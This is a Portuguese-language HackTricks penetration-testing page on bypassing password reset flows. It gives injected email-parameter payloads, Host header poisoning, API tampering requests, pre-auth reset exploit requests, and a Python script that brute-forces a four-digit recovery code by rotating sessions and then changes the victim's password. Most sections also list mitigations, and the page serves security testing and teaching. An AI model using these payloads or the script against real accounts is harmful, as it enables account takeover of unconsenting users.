Bypass de Redefinição/Senha Esquecida

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Token de Redefinição de Senha leak via referer

  • O HTTP referer header pode leak o token de redefinição de senha se ele estiver incluído na URL. Isso pode ocorrer quando um usuário clica em um link de um site de terceiros após solicitar a redefinição de senha.
  • Impacto: Possível takeover de conta via Cross-Site Request Forgery (CSRF).
  • Exploração: Para verificar se um token de redefinição de senha está leak no referer header, solicite uma redefinição de senha para seu endereço de email e clique no link de redefinição fornecido. Não altere sua senha imediatamente. Em vez disso, navegue para um site de terceiros (como Facebook ou Twitter) enquanto intercepta as requisições usando Burp Suite. Inspecione as requisições para ver se o referer header contém o token de redefinição de senha, pois isso pode expor informações sensíveis a terceiros.
  • Referências:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Atacantes podem manipular o Host header durante requisições de password reset para apontar o link de redefinição para um site malicioso.
  • Impacto: Pode levar a takeover de conta ao leakar tokens de redefinição para atacantes.
  • Mitigation Steps:
  • Valide o Host header contra uma whitelist de domínios permitidos.
  • Use métodos seguros do lado do servidor para gerar URLs absolutas.
  • Patch: Utilize $_SERVER['SERVER_NAME'] para construir URLs de redefinição de senha ao invés de $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Redefinição de Senha manipulando o parâmetro email

Atacantes podem manipular a requisição de redefinição de senha adicionando parâmetros de email adicionais para desviar o link de redefinição.

  • Adicione o email do atacante como segundo parâmetro usando &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Adicione attacker email como segundo parâmetro usando %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Adicione attacker email como segundo parâmetro usando |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com

Adicionar o email do atacante como segundo parâmetro usando cc

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Adicionar o email do atacante como segundo parâmetro usando bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Adicionar attacker email como segundo parâmetro usando ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"

Adicione o email do attacker como segundo parâmetro no json array

php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Alterando Email e Password de qualquer User através dos parâmetros da API

  • Atacantes podem modificar os parâmetros email e password em requisições API para alterar as credenciais da conta.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Passos de Mitigação:
  • Garanta validação estrita de parâmetros e verificações de autenticação.
  • Implemente logging e monitoramento robustos para detectar e responder a atividades suspeitas.
  • Reference:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • A ausência de rate limiting nas solicitações de password reset pode levar a email bombing, sobrecarregando o usuário com e-mails de reset.
  • Medidas de Mitigação:
  • Implemente rate limiting baseado no endereço IP ou na conta do usuário.
  • Use desafios CAPTCHA para prevenir abuso automatizado.
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Entender o padrão ou método por trás da geração do token pode levar à previsão ou brute-force dos tokens. Algumas opções:
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • Medidas de Mitigação:
  • Use métodos criptográficos fortes para geração de tokens.
  • Garanta aleatoriedade e comprimento suficientes para evitar previsibilidade.
  • Tools: Use Burp Sequencer para analisar a aleatoriedade dos tokens.

Guessable UUID

  • Se UUIDs (version 1) forem previsíveis ou adivinháveis, atacantes podem forçá-los por brute-force para gerar tokens de reset válidos. Verifique:

UUID Insecurities

  • Medidas de Mitigação:
  • Use GUID version 4 para aleatoriedade ou implemente medidas adicionais de segurança para outras versões.
  • Tools: Use guidtool para analisar e gerar GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulação de respostas HTTP para contornar mensagens de erro ou restrições.
  • Medidas de Mitigação:
  • Implemente checagens server-side para garantir a integridade das respostas.
  • Use canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testar se tokens expirados ainda podem ser usados para password reset.
  • Medidas de Mitigação:
  • Implemente políticas estritas de expiração de token e valide a expiração do token no servidor.

Brute Force Password Reset Token

  • Tentar brute-force no reset token usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP.
  • Medidas de Mitigação:
  • Implemente rate-limiting robusto e mecanismos de bloqueio de conta.
  • Monitore atividades suspeitas indicativas de ataques por brute-force.

Try Using Your Token

  • Testar se o token de reset de um atacante pode ser usado em conjunto com o e-mail da vítima.
  • Medidas de Mitigação:
  • Garanta que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.

Session Invalidation in Logout/Password Reset

  • Garantir que sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
  • Medidas de Mitigação:
  • Implemente gerenciamento de sessão adequado, garantindo que todas as sessões sejam invalidadas ao fazer logout ou reset de senha.

Session Invalidation in Logout/Password Reset

  • Reset tokens devem ter um tempo de expiração após o qual se tornam inválidos.
  • Medidas de Mitigação:
  • Defina um tempo de expiração razoável para reset tokens e aplique-o estritamente no servidor.

OTP rate limit bypass by changing your session

  • Se o site estiver usando a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos) então podemos efetivamente brute-forcear o OTP.
  • exploração:
  • basta solicitar um novo token de sessão após ser bloqueado pelo servidor.
  • Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Algumas implementações expõem uma ação de mudança de senha que chama a rotina de alteração de senha com skipOldPwdCheck=true e não verifica nenhum token de reset ou propriedade. Se o endpoint aceita um parâmetro action como change_password e um username/new password no corpo da requisição, um atacante pode resetar contas arbitrárias pré-auth.

Padrão vulnerável (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Solicitação de exploração (conceito):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigations:

  • Sempre exija um reset token válido e com prazo de expiração, vinculado à account e à session, antes de alterar a senha.
  • Nunca exponha caminhos skipOldPwdCheck para usuários unauthenticated; exija autenticação para alterações regulares de senha e verifique a senha antiga.
  • Invalide todas as sessions ativas e reset tokens após uma alteração de senha.

Registration-as-Password-Reset (Upsert on Existing Email)

Algumas aplicações implementam o signup handler como um upsert. Se o email já existe, o handler atualiza silenciosamente o registro do usuário em vez de rejeitar a requisição. Quando o registration endpoint aceita um corpo JSON mínimo com um email existente e uma nova senha, ele efetivamente se torna um pre-auth password reset sem qualquer verificação de propriedade, permitindo um full account takeover.

Pre-auth ATO PoC (sobrescrevendo a password de um usuário existente):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks